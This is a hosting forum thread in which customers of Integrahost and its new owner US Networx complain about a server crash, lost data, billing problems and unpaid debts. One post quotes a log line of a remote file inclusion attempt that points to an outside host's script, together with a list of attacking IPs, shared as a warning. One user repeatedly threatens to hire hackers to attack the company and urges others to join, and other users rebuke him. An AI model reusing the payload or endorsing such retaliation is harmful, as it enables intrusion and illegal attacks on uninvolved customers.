Posted by zwolf, 12-06-2006, 12:20 AM
Integrahost definatly looked promising, as I almost signed up with them before, until I heard all the bad feedback. It would be great if they can turn it into a positive company. Hopefully they will get rid of those support reps that used to respond to the live chat, as they were totally useless. The new company I thought should have tried a little harder to keep people informed of what was happening, and to provide a little more accurate updates, instead of telling people what they wanted to hear. I am glad to hear you guys are starting to get things resolved. Hopefully you are right and they have some major improvement over there. I will be watching.
Posted by chaines, 12-06-2006, 06:11 PM
Hey Folks, Things don't look good. Here are some recent emails I had with the contact. Nathan at US Networx: We understand this is a frustrating time for you, as it is for us. We have been working hard to restore the data that we have to the new server. However, we have noticed that all of the data is prior to July 1, 2006. We have determined that Srv05 must have had a drive crash in the RAID1 array on July 1 that was never repaired. Srv05 was running on a single drive when the second drive failed. Our data recovery team was only able to get data from the drive that crashed in July, which is why all of the data is dated from then. Unfortunately, nothing past July 1, 2006 was recovered. If we were not able to recover your website and you would like reinstall your site on the server, we will give you a free month of hosting. If you would prefer to cancel your account, we will give you a full refund for the months remaining. My Reply: This is definitely a problem. I created my account at the end of July. Are you saying that you will not be recovering the disk that recently crashed? Weren't there periodic tape back-ups on the system? If so, how could that have been? Nathan at US Networx: Integrahost made no backups of the system. All we could get is the data from the old drive. I just replied with this: Is the motor dead on the drive or does the platter have a flaw in it? If the disk spins, I can usually get the majority of data off of it by mounting it to another Linux or Unix machine. ------------------------------------------ As a person who managed servers for 10 years, I cannot imagine anyone being so reckless as to not even do periodic tape back-ups. What happens if there is a fire and there are no back-ups off site? It's baffling.
Posted by call6108, 12-06-2006, 08:07 PM
Well we waited 2 weeks to get 6 months old data... I don't what to say... mmm When people have databases in their servers usually those are updated daily and 6 mo. old data won't help us whatsoever. Also, all my new customers data is gone, starting from the month of july. At the end we all got screwed , i'm getting what may be in there and asking for a COMPLETE refund. I don't understand what was the point to do this to all of us. Kyle, I just hope u get more screwed than us, since the problem with the server i've lost 15 customers.. REALLY NICELY DONE kyle ... 100 points for u. USDX i don't know them, the told me no less than 15 lies, i know they are to get this rolling again (i think) but they should have been more careful and more interested with paying customers, because there isn't anything worse in the business world than a BAD reference. Guys, I hope u didn't get so screwed as i ended up!
Posted by codeartsnepal, 12-07-2006, 09:17 AM
None of my clients sites are opening. Just because I am using the nameserver that they registered for my domain. They have not changed the name servers ip. I mailed them 4 times but no response. And also my major clients (espcially that uses databases) account are gone. God help them. God help me..
Posted by santaclaus57, 12-09-2006, 03:09 PM
I found this thread searching for something totally unrelated to this discussion - and I have not read all the posts in this thread. But this kinda got all over me, so I have to reply. Chaines - that's kinda like the pot calling the kettle black I would say - where are YOUR backups? I would never expect, or even trust a host to make or keep valid backups. Baffling indeed! regards, Mike
Posted by qwan, 12-09-2006, 04:55 PM
WOW what a great analysis. Just because they solved one of your problems you start calling them good. What about others, I am sure they have solved your problems hoping(or maybe even struck a deal) that you will speak good about them. There are few major points which I can never digest. 1. Lets say kyle left them in a mess. They said the hard disk failed of one of the servers. Ok agreed kyle left them with a bad hard disk. What i just cannot understand is why did they not replace the hard disk and take our details like previous bills and get our accounts running. How much money does a new hard disk cost. I agree they must have lost all the billing data, for crying out loud that is why a hosting company is supposed to take a backup or atleast keep mirrors of their clients details. There is no excuse for them to just keep the server down like that for more than a month. 2.On the day the hard drive failed they should have kept and email where we contact them furnish our last billing details they could have confirmed it with the credit card company and their banks accounts and given each of us our accounts back. I had a backup of all my websites but where the hell should i restore it to. This is not how a hosting company behaves. I do agree that failures do happen but you replace your hardware and keep the show running. You have to keep a server up. 3. Ask any of the server companies here(reliable ones) they will tell you that if a hard drive fails it can be replaced in as less as 3 hours and maximum 24 hours. That is what integrahost should have done. They they could have sent the harddrive for recovery and given use our data back later on. I had only one customer who wanted his sent mails. He was using outlook express but when he found out that webmail was also available the bugger only started using his webmail. In 24 hours i took a new hosting account from hostgator and got my websites up again as I had a local backup of all my sites. It was only this particular clients website that i had not take a whm backup. SO he lost his email. I just told him one thing that he was supposed to use outlook express. That is how you keep a backup, I asked why did you stop using outlook express. He had not answer then i told him that the hard drive has failed and I have moved your site to a back up server when the hard drive data is recovered I will restore you emails to the new server. He could not speak anything. The only thing here is that integrahost/USNX never bothered to get our hosting back. I had to do it and i got my clients back too. I did not lose any clients. This is where USNX sucks. They are such a huge company (as it appears from their website) and they dont have money to get a new hard drive and atleast get the server up. I will never trust these people again. back up or no backupt USNX doesnt believe in putting a new hard disk if a hard drive fails they wait for the data to be recovered and then they put back the recovered hard drive. They have a lot to learn when it comes to uptime. I still believe that it is our responsibility to take backup. I would infact charge my client to take a daily backup or i would teach him how to. Infact I dont know if kyle had promised a backup. I do feel that many relaible hosting companies do take daily backups. But back is not the issue the issue is that the server is down. It is the duty of the hosting to company to get the server back running in a few hours. This is where i lost out. I waited for it to come back and had face a lot of music from my customers. But i recovered pretty quick. I think if they had got the server back running most of us would have been in a good position except for those who had lost their databases. USNX should be boycotted and they should not be cut any slack. I am writing reviews and I implore everyone of you to write reviews in each and every site and blog including webhosting talk and see that these people are exposed. They are not fit to be a hosting company. I dont like to see company make us guinea pigs and learn from it after making our lives hell. They might in future take backups and even do a big noise about it. But i think they should die. they should close down. I will do everything in my capacities to do. IF a lawyer cost an arm and leg. I am sure anyone will win the case based on the point i have mentioned that is USNX should have got the server up and running for those you had their backups and even for those who did not have backups atleast have the what ever older copy of their website running would have been some excuse to their clients. There would have been a some hope in convicneing them. USNX never bothered to get their servers up and running and we can sue them based just on that get a huge compensation. and see that these guys go bankrupt. These guys want to get away by giving us a measly one month credit. I would have accepted that one month as fair if they had got their server up and running in a few hours after it crashed. One month would have been fair enought compensation for the downtime of a few hours and the trouble of reuploading all our websites. The backup issues is a little more complicated as it depends on what is the fine print in the contract. Fighting for compensation of on the basis of backup might be a weak case but fighting for the fact that they just never bothered to get the server running for almost month is a winner Last edited by qwan; 12-09-2006 at 05:01 PM.
Posted by chaines, 12-09-2006, 08:10 PM
The downtime is definitely an issue. I think the other issue is that they advertise that they run servers with RAID 1 back-ups. However, I created my account at the end of July and it turns out that they never had any back-ups. santaclaus57 made a post as to why I didn't have back-ups. In fact, I did have back-ups of the vast majority of stuff. However, some of my sites have a lot of user inputted data and other data provided by third parties. A lot of the most recently inputted data was lost. That is where I relied on the integrity of Integrahost's system to be backed-up on a near daily basis. Any comments about a developer having absolute data back-ups when they aren't running the server are short-sighted. Getting back to the downtime, the new company should have never let the servers be down longer than 5 days as most outgoing mail servers will attempt to deliver mail for up to that long before giving up. Not that five days is acceptable. Qwan was right at saying it shouldn't have gone longer than 24 hours.
Posted by santaclaus57, 12-11-2006, 10:43 AM
Any comments about relying or depending on someone else to do your backups are short-sighted. I've been in computers for over 25 years and have seen some doozy excuses for lack of backups - most are just plain stupid. The fact is that if you want your business - whether your a web designer or an architect or in any other profession - to survive, you must be prepared for the worst at all times. Your business's continuity depends on you thinking through every possible calamity and being prepared to deal with it efficiently. Most people end up doing that - usually after the fact of a disaster. regards, Mike
Posted by harryhood, 12-12-2006, 02:50 PM
Great point. I couldn't have said it better myself.
Posted by Chris_M, 12-12-2006, 06:13 PM
That should have been the first clue to run. RAID IS NOT A BACKUP. If you have 2 drives in raid 1 array and one gets corrupted, the corruption will be on both drives. While raid 1 can help keep your server going in the event that 1 drive fails, it is not a backup. I think santaclaus57 has a good point that most people miss out on, If you really want to make a name for yourself in this business, you need to take care of your clients. Proper disaster recovery is an essential part of on-line business. Even if the host claims to have backups, you should have your own. If you did, there would have only been minimal downtime while you moved. Your clients are just that, YOUR CLIENTS. Dont rely on other people to keep your business going.
Posted by postyouroffer, 12-12-2006, 08:18 PM
I found out too that 2 of my domain names are not registered in my personal name. I paid for it and now it is going to cost me US$100.00 each if I want to file a domain dispute with GKG.net the registrar. Having a server gone offline for over 2 weeks and losing my precious data and files, I am unable to contact integrahost.com for a response to my request until of late when I was informed "No, the data recovery process has already been completed, all we have is everything before July 1st." That is 5 months old information I do not need. I have lost all my new and current data, new systems files for add-on domains that now do not exist on my folder. And they have the pleasure of telling you we are giving you one month's free subscription. My late nights and hours of work gone in a jiffy. All the promise of good service is just BULL. Take my advice purchase your domain name direct from the registrar. It may cost more but you are in control. As of Integrahost.com - You are a disappointment. You have cause so much hardship and walking away from your responsiblity of making good
Posted by prudents, 12-16-2006, 06:58 AM
could this be the end of chapter for integrahost.com However, my site went off line again today. you might want to check yours out
Posted by prudents, 12-16-2006, 07:04 AM
Integrahost.com - The page you are looking for might have been removed, had its name changed, or is temporarily unavailable. As of today .
Posted by PersonalJ, 12-16-2006, 03:19 PM
If you're still with them, it's time to move.
Posted by Yeah_Buddy, 12-17-2006, 05:43 AM
prudents, you need to calm down and stop jumping to conclusions so quickly. Sites go offline sometimes, yes, and IntegraHost more often than others (especially with the ownership change / server outage), but just because a website goes down for a few minutes it doesn't mean the company is down for good. Your site and IntegraHost's are both up and running fine. Now, time to deal with qwan's senseless post. I backup my clients' accounts on a regular basis. I do what I can on my own to ensure everything runs smoothly. I would also like to refer to this quote: Keeping your own backups is very important, and the funny thing, anybody (hosts & clients alike) can make them on their own. So don't whine about losing your sites / files, because although a server crash may not be your fault, not having safely "backed-up" data is. Because I am responsible for my clients and my business, I backup client accounts on a regular basis. Also, my server wasn't the one that crashed, but nonetheless, I would have been up and out rapidly with my own *recent* backups. So don't get mad and rant at me because I am responsible in my ways. USNX helped me with something unrelated that Kyle would not help me with, so I have been in contact with them since and they have been very helpful. Last edited by Yeah_Buddy; 12-17-2006 at 05:49 AM.
Posted by sc00bs, 12-20-2006, 07:14 AM
My site is down for almost a complete month (down since the 22nd of November), I have received absolutely no communication from either Integrahost or US Networx as to what is going on. All that the support guys tell you to do is email admin@integrahost.com to find out what is going on and nobody ever replies to it. And then these monkeys have the audacity to try and put a charge through on my credit card for another 3 months hosting!! Bunch of clowns, what are they thinking? JohnB
Posted by sketchedpaper, 12-22-2006, 11:18 AM
My integrahost account has mostly down since yesterday morning. I feel as though its time to find a new host, though has anyone heard anything new regarding integrahost? I registered one of my domains through them. I need to either get that domain back or I need to have my accounts working. I thought my situation was bad until I read some peoples experiences in this thread. How should I go about getting my domain name registered through someone else?
Posted by qwan, 12-24-2006, 11:42 AM
It looks like they paid you. I could not find how you "dealt with my sensless post" I repeat I also have backups of my clients. But where the hell do I restore my backups for crying out loud. Right now I have just finished chatting with the support of USNX as the site has changed. The exec is telling me that they have emails everybody but i have not recieved any email. Even now he is telling me to email support to give the new ip. When I am told him my domain with which I signed up He is "informing" me that the domain is "active" and hosted elsewhere. I had to tell that dumb Robert Jinkins that withint 24 hours of downtime I had changed my hosts as I am answerable to my clients. That dimwit expect my domains to be down all this while. My point is that i do agree hardware fails and all that is legit. But the duty of a host is to see that the server is up in atleast 48 hours. I am sure a new harddisk will be available withing that time. USNX did not do that. If you dont see that as a problem then please get off this thread. Why are you defending that company so much. There is no foundation for you defence. USNX will convineintly get away with this irresponsible behaviour thanks to people like you. But I implore everyone who suffered from this incident to make it (atleast) their secondary goal to post this incident in each and every forum. review site and digg it reddit blog it do everything. USNX must pay for their lapse in service. Go to each and every hosting review site and rate USNX if they do not exist on the review site add it and rate them. IF you come across such rating site inform everyone so that we can join you. I want to leave HC-Sam with no host Then we will see how they respons. USNX are not fit to be a hosting company and if we try hard enought I am sure others will realise that hosting with them is a big risk. Tommmorrow what can happen to our server can happen to other servers and with this kind of behaviour anyone business can suffer.
Posted by qwan, 12-24-2006, 12:03 PM
Well they tried to bill me too. But i am very lucky. Even though they have still not given me the details of my new server/account i was able to login into the billing with my old username password I immideatly changed my credit card to a dummy number. In my billing i can see that I have an outstanding invoice. Those USNX @ssholes have tried to charge my card. They have not bothered to check if I am using my account. Infact the billing section was restored before anything so that they could charge everybody. They have promised everyone 1 month hosting credit but i dont see any of it in my billing section. Can you login into the control panel of the domain @ IH/USNX??. If you can then immideatly transfer the domain from any other registrar(except godaddy.com...do a search and you will find out why). Then just do the accept the tranfer. If you do not have access to your domain then you can email the support and request/ask them if they acknowldge you as their customer.( do they have you ont he records as the owner of that domain) Simply tell them that you are transfering the domain and request them to do the needful.
Posted by sketchedpaper, 12-24-2006, 12:39 PM
I am still trying to transfer my domain, but I have not yet heard from their support. All of my sites are now back up, but I would still like to transfer my domain. I can get into cpanel, but Im not sure how to transfer my domain.
Posted by Hutchinj, 12-24-2006, 03:36 PM
If you are still with IntegraHost, I advise strongly that you cut your losses and get out NOW (if you can)! Kyle Springer still owes me over $400.00 refund for unused reseller hosting (I stupidly paid him for a year in advance) and the new owner of IntegraHost refuses to accept any responsibility or even give me any contact info for Kyle. By the way I have been treated, I consider both of these guys to be crooks. They should be in jail, much less be allowed to conduct business online. If you still host with them after seeing all this negative feedback, you're simply asking for trouble. Just remember... IntegraHost does NOT = Integrity!!!
Posted by qwan, 12-25-2006, 03:13 AM
HC-Sam What do you say of this. I tried emailing their support and guess what the support email does not exist. This is an automatically generated Delivery Status Notification Delivery to the following recipient failed permanently: support@usnethost.com Technical details of permanent failure: PERM_FAILURE: SMTP Error (state 9): 550 : Recipient address rejected: undeliverable address: mail for usnethost.com loops back to myself Yesterday I was on chat with robert and he told me that he cannot give the login details to my account on chat for security reasons. So he told me to email the above said email. When i do it is dead. Robert told me that all old customers of integrahost have been emailed about the new details of the accounts. But i have recieved no such email. I have still not been able to login in to my account. What do you have to say in defence of them now. Is it my fault now?? or am i doing something "senseless" here.HC-Sam comon let me hear you. Just because you got a good deal( which I am sure they gave so that you can defend them in this forum) doesnt mean that USNX is fair with everyone. And stop telling everyong to chill. I have decided if I dont get my account back I am going to hire a bunch of hackers and I will hack their server till they die. I implore everyone who has suffered because of them to do that. Everyone take Hutchinj's advice and leave USNX asap. These guys are crooks
Posted by TotalZen, 12-25-2006, 08:42 AM
This IP# is both compromised and currently being used by script kiddies, FYI. 12.108.68.130 - - [25/Dec/2006:05:31:50 -0600] "GET /ubbthreads/addpost_newpoll.php?addpoll=preview&thispath=http://www.husnaweb.com/c.in? HTTP/1.1" 302 288 "-" "libwww-perl/5.805" Another failed attempt at a remote file inclusion on my messageboard Here's the full list from the attempted attack yesterday: 12.108.68.130 62.75.193.176 62.193.229.152 62.221.213.68 64.8.118.5 64.34.161.52 64.38.24.138 64.191.28.101 64.191.56.190 64.207.134.58 66.55.78.18 66.70.121.80 66.103.152.111 67.19.85.196 70.84.220.210 70.84.122.194 70.85.247.250 70.86.36.194 70.86.151.130 72.5.54.51 72.22.69.189 72.29.71.74 72.51.35.81 72.232.233.170 74.52.68.106 80.77.86.243 81.169.186.195 81.171.34.35 82.165.27.174 82.165.36.226 140.117.73.1 189.146.80.14 194.177.97.82 195.10.193.5 195.242.98.223 200.32.10.19 203.194.134.166 204.16.246.8 209.151.94.9 210.172.116.244 212.12.121.43 212.227.83.106 213.186.116.86 216.16.246.154 216.17.109.39 216.246.45.72 217.112.87.104
Posted by Yeah_Buddy, 12-27-2006, 10:37 AM
They didn't pay me ... and qwan, maybe you should read my entire post before making a stupid remark like that. I repeat: "I backup client accounts on a regular basis. Also, my server wasn't the one that crashed, but nonetheless, I would have been up and out rapidly with my own *recent* backups."
Posted by Kyle Arnett, 12-27-2006, 12:28 PM
Who handles the PR for this company? lol
Posted by foolweasel, 12-28-2006, 10:59 AM
nobody handles the PR because we've been too busy fixing everything. and as of yesterday, we've pretty much gotten everything under control. we were left a mess.. so cleanup took a bit. oh.. and for anyone who said they were charged, we haven't run any of integrahost's billing since mid-november when the server with the billing software crashed.
Posted by Josh-D, 12-28-2006, 11:11 AM
Well if thats USNX you still got work to do, there still an $3k owing on an contact which you are now responsible to make good on. Or i will be pulling all the clients that are in reference to the contract away and forcing an lawsuit to regain the funds. Iv emailed after emailed after phone request and no response yet.
Posted by foolweasel, 12-28-2006, 01:22 PM
where have you emailed? Last edited by foolweasel; 12-28-2006 at 01:30 PM.
Posted by Josh-D, 12-28-2006, 02:25 PM
rwilliamson@usnx.net This was the only person I have ever been in contact from USNX. You were informed of the fees for transfering over the accounts at the datacenters for the clients I own, and the fees for that as well as the contract problem that kyle has left your business in. Breakdown is as follows: I was suppost to recive $6k for the sale of Lake Shore Services, where all the dedicated and some shared clients had came from. (contract is at my house if you need it) I had recived the following amount so far: Aug. $505.06 Sept. $332.26 Oct. NEVER RECIVED - Total should been $500 Nov. NEVER RECIVED - Total should been $500 Dec. NEVER RECIVED - Total should been $500 Large Check (partial coverage for the debt) - $2800 This means I recived - $3637.32 of the $6000 that I should have recived, plus an $150 transfer fee for both the datacenter information. This means there is an total of $2362.68 owing plus the datacenter transfer of $150 making the total $2512.68 I have contacted your live support center, left messages to be called or emailed. Never responded. Also 3 of my clients that were with you lost all there files one an design company lost over $1000 dollars worth of designs and contracts with companies, becuase of this. I am not blaming you for the lost of files, this is Kyle's fault for bad maintance of the servers, but if your the new owners of IntegraHost you have the legal right to finish off this contract. Becuase the contract was suppost to be payed off by now (Jan 1st 2007 - by the time a check gets here it would be late). I am asking that you cover this full payment. ASAP. Let me know what you want to do.. Im all ears. .. Also this is in USD funds
Posted by foolweasel, 12-28-2006, 03:41 PM
I am only a programmer at USNX who's been assisting with the hand-over and recovery of srv05 which crashed in mid-november. I will bring this to the attention of our accounting people.
Posted by Josh-D, 12-28-2006, 04:31 PM
Would be great, and thanks to Kyle Arnett for point my spelling mistake.. I was rushing to make the post so that I could go out (had to meet an client). Thanks again for the pm there Kyle. Thanks Foolweasel, hopefully this will get corrected, I would hope it gets done now that the public is aware of this, something I didnt want to do, but I am getting sick of waiting for an response.
Posted by qwan, 12-29-2006, 02:00 PM
I hope you do something for me too. I have not been able to login to my account since the downtime. I have not got any email about the new server. I can still login into my billing account. And Foolweasel you are absolutely wrong about billing. They even tried to charge my creditcard. But as i told i could login into my billing I immideatlly changed my card number. I was chatting with robert jenkins and he told me that "everyone was emailed". The way USNX support behaves is like we the complaining lot are all a bunch of liars who just want to "throw dirt" on usnx. I repeated that i was not mailed. So he gave me the support email address for me to email. He told me to mention my details. They would give me the ip address into which i can login. He said he cannot give me the ip address of the new server for "security reasons". When i sent the email i got a mailer dameon saying that the email address does not exist. For a week i try online support but i always get the "busy/notavailable" page. I leave countless messages on that page. But no response. Day before yesterday I again spoke to Robert Jenkins. He asked me all my details. He even took my login name and password of the old server. He then assured me that he would forward this specially to the billing department and that i would get an email with all the details in 12 hours. But now it is more than 24 hours no email nothing. My hosting was(has) expiring(ed) on dec 14 2006. The one month credit they promised is of no use to me as they still not given me my account back. Now I am sure on january 15 those !**$#*# are going to tell me that my one month credit is over. I swear that if i dont get properly compensated for this. I going to make it my goals to shut down USNX. They almost shut down my business. All i need is the emails folders of one of my accounts.( i only took home directory backups) << removed >> Last edited by writespeak; 01-15-2007 at 02:57 PM.
Posted by oates151, 01-02-2007, 06:50 PM
Integrahost did not deserve the chance to live. I believe the company should have been shut for good instead of Kyle getting a nice final paycheck to leave his company in total chaos. I left IntegraHost last month, and at this point I do not believe that I will ever look back. Check out the guys over at Clearify.net - Great company that I switched to! Fast support and absolute peace of mind.
Posted by Josh-D, 01-04-2007, 10:03 PM
Well, guys i want to remove some of the blame on integrahost here, (USNX) that is, Kyle springer himself has not made good, when he sold he told me that he sold it all, USNX has informed me they only purchased the clients. So I guess the true blame once again is Kyle not USNX
Posted by qwan, 01-06-2007, 02:13 AM
LSComputers. I will not agree with you. Because If they purchased the clients then they are definately not bothered about me. I still havent got any details of my new server. I have opened a support ticket but no ne has responded to it for a week. Now my hosting has expired on december 15th. (downtime took place in novemeber after that they recovered data and moved accounts to a new server around end of november or dec start) They say they emailed all the clients but I did not get any email. For proof that I am a client I am able to logon with my old username password into the billing section. I can even see my bills. Dont sympathise so much with USNX Because those f@#!#$ Bas#@#$s. Dont bother sending my any email or they are not bothered about my account. But THEY CHARGED MY CREDIT CARD. in December 15th. I am smarted as soon as I was able to login to my billing I changed the credit card number with a dummy card. I think USNX are theives. If i had not changed my cc number they would have happily renewed my hosting but I would still not be able to login. Even if they give me back my account, it is of no use. They promised 1 month credit free. That is till january 15th for me. I am sure that i wont be eligible for it at this rate. USNX must die. I will see to it that it suffers. LSCOMPUTERS you look like a Shill. Only with 9 posts. USNX instead of doing this better take care of you clients.
Posted by sketchedpaper, 01-07-2007, 08:56 PM
I emailed usnethost a few weeks ago and they still have not responded to my email regarding transferring the domain I registered through Integrahost. Does anyone have any idea what to do or who to email? The domain expires on the 16th. Can I just register it through another registrar at that point? I guess I should always register all my domains through a separate company than my host. I cant believe I fell for the "free" domain. Thanks for your help.
Posted by Josh-D, 01-07-2007, 10:28 PM
You should be able to register the domain after it expires. contact the following email address: this is who i have been in contact the most with: Robert Williamson U.S. NetworX 601-956-4770 Ext. 226 1-800-208-0408 rwilliamson@usnx.com www.usnx.com Hope that helps, Also anyone that gets in contact with kyle please let me know, I only was able to get one response that was it.
Posted by sketchedpaper, 01-08-2007, 12:32 PM
They emailed me with an authorization code and stated that the domain is now unlocked. What do I do now? I read that I shouldn't register my domain through godaddy. Right now, all of my domains are registered through yahoo, though I cant find anywhere on their site to transfer a domain. Thanks.
Posted by zwolf, 01-09-2007, 12:28 AM
While I feel sorry for everyone affected by this, the comments made by Qwan are completely illegal. You can't threaten to do what you said. You probably should hope that never happens, because I beleive you would be charged by the police for that, especially concidering you posted those comments in a public forum. That is definatly not the way to deal with the situation, no matter how bad it is. Not to mention such kind of attacks will not only hurt the company, but it would also hurt all the customers of theirs as well. Not a good idea. Last edited by zwolf; 01-09-2007 at 12:33 AM.
Posted by Josh-D, 01-13-2007, 12:13 PM
Hello all, Just an little update, Kyle is denying his owings to me ($2500+) so I have filled an collections on him and USNX as USNX claims its kyle's debt not theres. So until they solve that I have sent the information to both parties for collections. In the event that after this month there is not response I will be then turning around and sueing both parties for the amount + legal fees and intrest etc. So I am saying anyone that is still having issues after Jan. please let me know, I will file an large suit with all the information that will be advalible, and we will be able to get some sort of justice. I am sick of being played and Im sure there are others out there.
Posted by qwan, 01-15-2007, 11:04 AM
Yes zwolf I know it is illegal. I am not in a position to sue them legally. Because I stay In a different country. So tell me what option do I have. They are just not responding to my emails/tickets/online support request. They are sure that I am never going to renew my hosting with them So they are just not bothered. I have to make them pay. Nobody cheats me and walks away. See if they get away with this then that will not be right. They have to pay. There is reason for people taking to the streets and conducting rallies in protest. Because results could not be gained legally. The same way when they dont respond as they are deemed to then I think this is fair enough. I never even asked them for 1 month credit hosting. All i wanted was to get one of my clients emails.(or just check if it there). Right now not only my hosting has expired with usnx but also a total month has passed since my expiry. So i get nothing. It is easy to point the finger at me zwolf. But tell me what option do i have. Atleast USNX(and other hosts) will know that they cannot get away with such kind of "illegla" behaviour.
Posted by qwan, 01-15-2007, 11:23 AM
FYI zwolf I dont go around hacking hosts I am not satisfied with. My earlier host was gazzin. I was extremely dissatisfied with their downtime and the customer support was horrible. But that is what you get for that price I learnt the lesson. I left them. I think they are better now But i am not taking chances. I dont mind paying more as long as I get good service. I am not going to sit hack them. But usnx just left me in the lurch and are not bothered. I have lost money (and just a little dissatisfied clients as I had backups of all my sites) as my last month of hosting is when usnx conked off. I had to immideatly get a new host. I waited for 24 hours(my mistake) for them to come back online. As we now know that their hard disk failed 24 hours was more than enought to replace a harddisk. We could have just restored our backups or had the database sites running(for those who did not back up). But instead I had to take up a whole new hosting account to get my sites back online. Time and again i have mentioned in my comment for all those "supporting" USNX. If their hard disk failed all they had to do was replace it as soon as possible and have the server up and running. I totally agree that hosting companies are not responsible for backing up our sites. SO this is the biggest negligneceo f this company
Posted by zwolf, 01-17-2007, 11:53 PM
I am not pointing my finger at you, as in this very unfortunate scenerio I feel bad for anyone affected by this, including you. I would suggest that you learn a lesson from this and maybe tell others about your experience. The truth would hurt them much worse than a dos attack would, plus your not leaving yourself open to getting busted for it. All humans have the instint to revenge for wrong doings, but sometimes there are better ways of dealing with it. When someone is looking for feedback & experiences for this company, you can explain to them your story, chances are it will probably deter many people from using them, thus cost them business. Plus your not doing anything wrong, as you are only telling the truth. If they owe you money, you could become a real nuisance to them by repeatitly submitting support tickets to them (not spamming them of course). If your issue is only dealing with files that were on the damaged drive it sounds as if there is not much they will be able to do for you if they are gone. Thats good. But by making comments such as what you did, you also risk the possibility that other "good" hosting companies may not wish to deal with you because it may sound like if you are not happy with the company you will cause major problems, such as hacking or dos attacks. I definatly see why you are angry about the situation, but you can greatly make things harder on yourself especially if you post such comments in public for the whole world to read. Again, the whole issue is unfortunate, but if they don't owe you money I wouldn't waste your time & energy. Just be more cautious in the future as to which companies you are dealing with. Lot's of luck. Last edited by zwolf; 01-18-2007 at 12:06 AM.
Posted by Yeah_Buddy, 01-18-2007, 12:34 AM
I also agree qwan is being very immature about this ... and realistically qwan, I think you are all talk. You can't hire anybody to do anything, you're just running your mouth.
Posted by Dave_Z, 01-18-2007, 06:27 AM
With that kind of attitude, qwan, I definitely will avoid you. So will the others, I'm very sure. You still have a choice. You can choose to do as zwolf suggested and come out a wiser and better man, or be potentially worse than the host who you felt did you wrong. Don't forget, you still have time to think before you post. Any more of that kind of ranting and you're not getting any sympathy from anyone around here. Sh** happens. Deal with it.
Posted by qwan, 01-18-2007, 10:07 AM
First of Dave Zan. "**** did not happen to me" USNX "shat" on me. This is my way of dealing with it. I dont why you people are such suckers. Ok just let me know one thing now before calling me "immature" or anything like that. All of you Dave Zan, zwolf and HCSam. Have I not been wronged here???? It has been two months and I have not been able to get into my account. One month of hosting is total waste. They are taking me lightly because obviously from my IP they know I cannot sue them. If I do not do anything USNX will go Scott free. This is how am in real life too I am just not shouting my mouth off here HC SAM. I have broken down restaurants and have then have fought self defense cases just because they treated me like ****.(it May be hard for you to believe it because I think it is very difficult to get away with something like that in USA and Canada). So what you are trying to tell me is that a hosting company just forgot to email me the details of their new servers and now they are just not bothered about me because they are too damn sure that I will never host with them; You are telling me i should just keep quiet and move on. I am sure people who have been following this thread will understand my problem. First of USNX screwed up real bad. Then after an "unacceptable" period of downtime, they have somehow managed to "not mail me" the details of my new server. I can log into the billing section I have shown them that. They are totally aware that I am a customer of theirs and my account was valid till Dec 15th But they just did not respond to my email or tickets. Then for a week they were "moving" their servers. Now still they are just not giving me access to my whm. One of my clients needs his email addresses which he saved much before july.(USNX executive have declared that data has been recovered only till july). They are just no allowing me access. Now since my hosting is expired my account is deactivated. I have opened tickets and repeatedly requested online support to follow up my ticket and give me access to the ip address. Last update is that they are activated my account but are not giving me the IP address to login to my WHM because they want me to enter a valid credit card number. These guys got to be kidding me. They just want to charge my card and screw me again. They just dont get it every time i get a new executive online he tell me my domain is pointing elsewhere and one executive gave me the IP of my current host and told me to login there!!!!!! To tell you the truth their initial downtime was unacceptable but thanks to your(HC-Sam especially even though i disagreed with him on the thread) "brainwashing" I thought "Ok fine I will continue to use USNX and give them another chance" But only as a backup server. But these people forgot to mail me and now they know that I am never going to be their customer again so they are literally telling me to "f" off. Their attitude is so bad. And you dave zan are telling me that people should stay away from me. Great logic man. All I need is a clients mail folder thats all. I had one months of hosting wasted I am not bothered about that. Atleast give me a chance to access my data and copy it. These buggers are not even allowing me to do that. AND you expect me to keep quiet. How much time I have spent going after USNX only I know that. I promise I am not going to leave them in peace if they "**** on me" like this. Why would anyone stay from me. I am sure no host would have this kind of attitude. First of all they have to be apologetic that they "forgot" to send me the details of the new server. But instead they are just making my life miserable and prolonnging it for no reason what so ever. It is very clear the attitude of USNX is that "when they are sure that they have lost a customer they are only going to make his life miserable" They must be thinking that why bother I am sure they must have already deleted my account from their server. I am never going to keep quiet. i never keep quiet against injustice. If not legally then I will go illegal but i will make they pay.
Posted by Yeah_Buddy, 01-18-2007, 01:11 PM
1). Look who's calling the kettle black. 2). That's fine, it's good to be persistent but no need for foul language, this community (I believe) is at a higher level than the level your ranting is on. 3). You can't do anything, if you can't pay a hosting bill I doubt you'll somehow come up with 5 grand to take down a hosting company. Plus, USNX is larger than IntegraHost by far. IntegraHost was a small addition to them, and they operate their own datacenter. I'd LOVE to see you try. This is just too funny.
Posted by zwolf, 01-18-2007, 03:01 PM
I think that sums it up nicely. And that concludes my comments for this situation.
Posted by Josh-D, 01-18-2007, 04:56 PM
Okay MODS LOCK THIS UP FOR NOW! This is getting outta hand, first off lets recap this I worked for IntegraHost for about 2months, just prior to the sale. IH is the one to blame here, this isnt USNX fault, they only can go buy what there billing system tells them which Kyle had not kept the best organization from what I saw of it. Secondly its kyle fualt he did not fix the server when the hard drive died, causing you not to have your hosting right now as it is. So relax, and relize USNX is trying ot help but if your going to bad mouth them, then there going to just get fed up and say hell with you, hell with all of you, and turn the company back over to kyle, get there money back, and that will mean NO ONE WILL HAVE HOSTING!!!. So give them some slack, there fixing everything as fast as they can.
Posted by Dave_Z, 01-18-2007, 11:16 PM
I have no expectations of you. Do as you wish. And I agree with LSComputers. This thread probably should be locked.
Posted by qwan, 01-20-2007, 11:07 AM
First of all the foul language is nothing but Sh** which Dave zan used. And I was refering to his "justification" of this whole issue as sh** happens. So all the four letter asterix are nothing but the word sh** which I used only as a reply to dave zan Theory of Sh** happens HC-Sam Whatever gave you the Idea that I cant Pay a hosting Bill. You are so Biased in thougth you have a one track mind. Where did i mentione that I have not paid a bill??? Now it is quite clear that you are associated with USNX. You know why because when i was asking to reactivate my account one of the support executives told me that my credit card is not valid. Well it was not valid becuase i changed it myself after hearing from this very thread that few people got charged during the downtime. As I have mentioned in this thread that even tried to charge my card even though I had no access to my account and they were aware of it READ THE REPLIES MORE CAREFULLY HC-Sam. Now I have told USNX that I deliberately changed my credit card number because of their automatic billing which USNX agreed that was the right thing to do. As I had not access to my account and I would have been billed again. They are atleast more understadning that you HC-Sam. Right now they have activated my account back and reseting my password. But coming back to the point where I saying that You are "connected" to USNX is because for a while USNX thought that My credit card was not working so they never bothered to look into my matter. Well now that has been cleared But You HC-Sam are not aware of it. Get back to USNX and they 